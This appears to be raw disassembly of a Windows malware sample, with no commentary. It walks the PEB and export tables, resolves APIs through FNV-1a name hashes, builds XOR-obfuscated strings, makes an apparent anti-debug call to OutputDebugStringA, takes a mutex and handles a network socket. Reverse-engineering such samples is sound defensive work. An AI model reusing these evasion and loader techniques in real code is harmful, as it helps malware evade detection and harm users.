test edi, edi
je 0x461389
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x461382
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x461365
cmp esi, 0x71948ca4
je 0x46138d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x461350
mov eax, dword [eax]
jmp 0x461327
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push 0x493e0
push dword [ebp - 0x44]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
push 0x493e0
push dword [ebp - 0x40]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x461434
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x461434
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x46142d
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x461410
cmp esi, 0x71948ca4
je 0x461438
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4613f6
mov eax, dword [eax]
jmp 0x4613d0
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push 0x493e0
push dword [ebp - 0x7c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
push 0x493e0
push dword [ebp - 0x80]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x4614d9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4614d9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax + eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4614d2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4614b5
cmp esi, 0x71948ca4
je 0x4614dd
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4614a0
mov eax, dword [eax]
jmp 0x461475
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push 0x493e0
push dword [ebp - 0x74]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x461574
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x461574
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x46156d
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x461550
cmp esi, 0x71948ca4
je 0x461578
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x461536
mov eax, dword [eax]
jmp 0x461510
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push 0x493e0
push dword [ebp - 0x78]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x461609
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x461609
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x461602
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4615e5
cmp esi, 0xfaba0065
je 0x46160d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4615d0
mov eax, dword [eax]
jmp 0x4615a7
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push dword [ebp - 0x24]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [esi + edx]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x461699
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x461699
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x461692
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x461675
cmp esi, 0xfaba0065
je 0x46169d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x461660
mov eax, dword [eax]
jmp 0x461637
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push dword [ebp - 0x44]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
push dword [ebp - 0x40]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [esi + edx]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x461734
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x461734
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x46172d
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x461710
cmp esi, 0xfaba0065
je 0x461738
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4616f6
mov eax, dword [eax]
jmp 0x4616d0
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push dword [ebp - 0x7c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [esi + edx]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x4617c4
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4617c4
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4617bd
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4617a0
cmp esi, 0xfaba0065
je 0x4617c8
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x461788
mov eax, dword [eax]
jmp 0x461762
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push dword [ebp - 0x80]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x461854
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x461854
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x46184d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x461830
cmp esi, 0xfaba0065
je 0x461858
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x461818
mov eax, dword [eax]
jmp 0x4617f2
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push dword [ebp - 0x74]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x4618e4
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4618e4
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4618dd
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4618c0
cmp esi, 0xfaba0065
je 0x4618e8
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4618a8
mov eax, dword [eax]
jmp 0x461882
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push dword [ebp - 0x78]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
lea ecx, [ebp - 0xac]
mov dword [ebp - 0xac], 0x9c8290c7
mov word [ebp - 0xa8], 0x100
call fcn.00462be0
lea ecx, [ebp - 0x8b]
mov word [ebp - 0x8b], 0xb6
mov byte [ebp - 0x89], 1
call fcn.00462d90
lea eax, [ebp - 0x8b]
push 0x533ae4
push eax
lea edx, [ebp - 0x22c]
lea ecx, [ebp - 0x4c8]
call fcn.004697b0
add esp, 4
lea ecx, [ebp - 0x4b0]
mov edx, eax
call fcn.004699d0
lea ecx, [ebp - 0xac]
add esp, 4
mov edx, eax
lea esi, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x461980
sub ecx, esi
lea eax, [ebp - 0xac]
push ecx
push eax
mov ecx, edx
call fcn.00468390
push eax
lea ecx, [ebp - 0x320]
call fcn.004026b0
lea ecx, [ebp - 0x4b0]
call fcn.00402660
lea ecx, [ebp - 0x4c8]
call fcn.00402660
lea ecx, [ebp - 0x3a]
mov dword [ebp - 0x3a], 0x9c8290c7
mov word [ebp - 0x36], 0x100
call fcn.00462be0
mov edx, 0x17
lea ecx, [ebp - 0x4f8]
call fcn.0040c740
push eax
lea edx, [ebp - 0x818]
lea ecx, [ebp - 0x4e0]
call fcn.004698d0
lea ecx, [ebp - 0x3a]
add esp, 4
mov edx, eax
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x461a00
sub ecx, esi
lea eax, [ebp - 0x3a]
push ecx
push eax
mov ecx, edx
call fcn.00468390
push eax
lea ecx, [ebp - 0x3b4]
call fcn.004026b0
lea ecx, [ebp - 0x4e0]
call fcn.00402660
lea ecx, [ebp - 0x4f8]
call fcn.00402660
mov ecx, 0x536190
call fcn.004027a0
lea ecx, [ebp - 0x3b4]
mov ebx, eax
call fcn.004027a0
sub esp, 0x18
mov esi, eax
mov edi, esp
mov ecx, edi
push dword [ebp - 0x10]
call fcn.004027f0
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x461a64
sub ecx, edx
push ecx
push esi
mov ecx, edi
call fcn.00402810
sub esp, 0x18
mov ecx, esp
push 0x533afc
call fcn.00465a60
mov ecx, ebx
call fcn.00407220
add esp, 0x18
lea eax, [ebp - 0x320]
mov ecx, esp
push eax
call fcn.00465a60
sub esp, 0x18
lea eax, [ebp - 0x3b4]
mov ecx, esp
push eax
call fcn.00465a60
call fcn.0041f570
add esp, 0x30
cmp byte [0x535eb3], 0
je 0x461b45
cmp byte [ebp - 0x15], 0
jne 0x461b45
sub esp, 0x10
mov ecx, esp
push 0x536158
call fcn.00463560
sub esp, 0x10
mov ecx, esp
push 0x536050
call fcn.00463560
sub esp, 0x10
mov ecx, esp
push 0x536100
call fcn.00463560
sub esp, 0x10
mov ecx, esp
push 0x536120
call fcn.00463560
sub esp, 0x10
mov ecx, esp
push 0x536110
call fcn.00463560
sub esp, 0x10
mov ecx, esp
push 0x536070
call fcn.00463560
sub esp, 0x18
lea eax, [ebp - 0x22c]
mov ecx, esp
push eax
call fcn.00465a60
call fcn.0041a440
add esp, 0x78
test al, al
je 0x461b45
sub esp, 0x18
lea eax, [ebp - 0x250]
mov ecx, esp
push eax
call fcn.00465a60
sub esp, 0x10
mov ecx, esp
push 0x536158
call fcn.00463560
sub esp, 0x10
mov ecx, esp
push 0x536050
call fcn.00463560
sub esp, 0x10
mov ecx, esp
push 0x536100
call fcn.00463560
sub esp, 0x10
mov ecx, esp
push 0x536120
call fcn.00463560
sub esp, 0x10
mov ecx, esp
push 0x536110
call fcn.00463560
sub esp, 0x10
mov ecx, esp
push 0x536070
call fcn.00463560
sub esp, 0x18
lea eax, [ebp - 0x22c]
mov ecx, esp
push eax
call fcn.00465a60
call fcn.004452a0
add esp, 0x90
lea ecx, [ebp - 0x3b4]
call fcn.00402660
lea ecx, [ebp - 0x320]
call fcn.00402660
jmp 0x461c76
cmp byte [0x535eb3], 0
je 0x461c76
cmp byte [ebp - 0x15], 0
jne 0x461c76
sub esp, 0x10
mov ecx, esp
push 0x536158
call fcn.00463560
sub esp, 0x10
mov ecx, esp
push 0x536050
call fcn.00463560
sub esp, 0x10
mov ecx, esp
push 0x536100
call fcn.00463560
sub esp, 0x10
mov ecx, esp
push 0x536120
call fcn.00463560
sub esp, 0x10
mov ecx, esp
push 0x536110
call fcn.00463560
sub esp, 0x10
mov ecx, esp
push 0x536070
call fcn.00463560
sub esp, 0x18
lea eax, [ebp - 0x22c]
mov ecx, esp
push eax
call fcn.00465a60
call fcn.0041a440
add esp, 0x78
test al, al
je 0x461c76
call fcn.004166d0
lea ecx, [ebp - 0x2d8]
call fcn.00402660
lea ecx, [ebp - 0x2f0]
call fcn.00402660
lea ecx, [ebp - 0x308]
call fcn.00402660
lea ecx, [ebp - 0x414]
call fcn.00462010
lea ecx, [ebp - 0x41c]
call fcn.00462070
lea ecx, [ebp - 0x268]
call fcn.00402660
lea ecx, [ebp - 0x280]
call fcn.00402660
push str.reyerreyerreyerreyerreyerreyerreyerreyerreyer
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp byte [0x535eb3], 0
je 0x461e71
cmp byte [ebp - 0x15], 0
je 0x461e71
sub esp, 0x10
mov ecx, esp
push 0x536158
call fcn.00463560
sub esp, 0x10
mov ecx, esp
push 0x536050
call fcn.00463560
sub esp, 0x10
mov ecx, esp
push 0x536100
call fcn.00463560
sub esp, 0x10
mov ecx, esp
push 0x536120
call fcn.00463560
sub esp, 0x10
mov ecx, esp
push 0x536110
call fcn.00463560
sub esp, 0x10
mov ecx, esp
push 0x536070
call fcn.00463560
sub esp, 0x18
lea eax, [ebp - 0x22c]
mov ecx, esp
push eax
call fcn.00465a60
call fcn.0041a440
add esp, 0x78
test al, al
je 0x461e71
push 0x533b44
lea ecx, [ebp - 0x1ed]
mov dword [ebp - 0x1ed], 0x8f82869a
mov dword [ebp - 0x1e9], 0x9983bd86
mov dword [ebp - 0x1e5], 0x9ab29795
mov word [ebp - 0x1e1], 0x91
mov byte [ebp - 0x1df], 1
call fcn.0040a6c0
mov edx, eax
lea ecx, [ebp - 0x510]
call fcn.00469870
add esp, 4
mov ecx, eax
call fcn.004027a0
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
lea ecx, [ebp - 0x510]
call fcn.00402660
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x461eb0
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7530
call ebx
sub esp, 0x18
mov dword [ebp - 0x192], 0xafa5bca1
lea ecx, [ebp - 0x192]
mov dword [ebp - 0x18e], 0x9c838ac3
mov word [ebp - 0x18a], 0x100
mov esi, esp
call fcn.0040ee20
push eax
mov ecx, esi
call fcn.00402700
call fcn.0041f0e0
mov ecx, dword [0x536178]
mov eax, 0x2aaaaaab
sub ecx, dword [0x536174]
add esp, 0x18
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x461e68
push 0x64
call ebx
mov ecx, dword [0x536178]
mov eax, 0x2aaaaaab
sub ecx, dword [0x536174]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
jne 0x461e45
mov byte [0x535e91], 1
jmp 0x461e77
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0xbb8
call ebx
push 2
push dword [0x533aac]
call dword [sym.imp.WS2_32.dll_shutdown]
push dword [0x533aac]
call dword [sym.imp.WS2_32.dll_closesocket]
cmp byte [0x535eb3], 0
je 0x461eb0
cmp byte [ebp - 0x15], 0
je 0x461eb0
push 0x3e8
call ebx
jmp 0x461ea7
lea ecx, [ebp - 0x250]
xor esi, esi
call fcn.00402660
lea ecx, [ebp - 0x3cc]
call fcn.00402660
lea ecx, [ebp - 0x22c]
call fcn.00402660
mov ecx, dword [ebp - 0x1f4]
test ecx, ecx
je 0x461ee2
call fcn.00403560
lea ecx, [ebp - 0x400]
call fcn.00402660
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret 0x10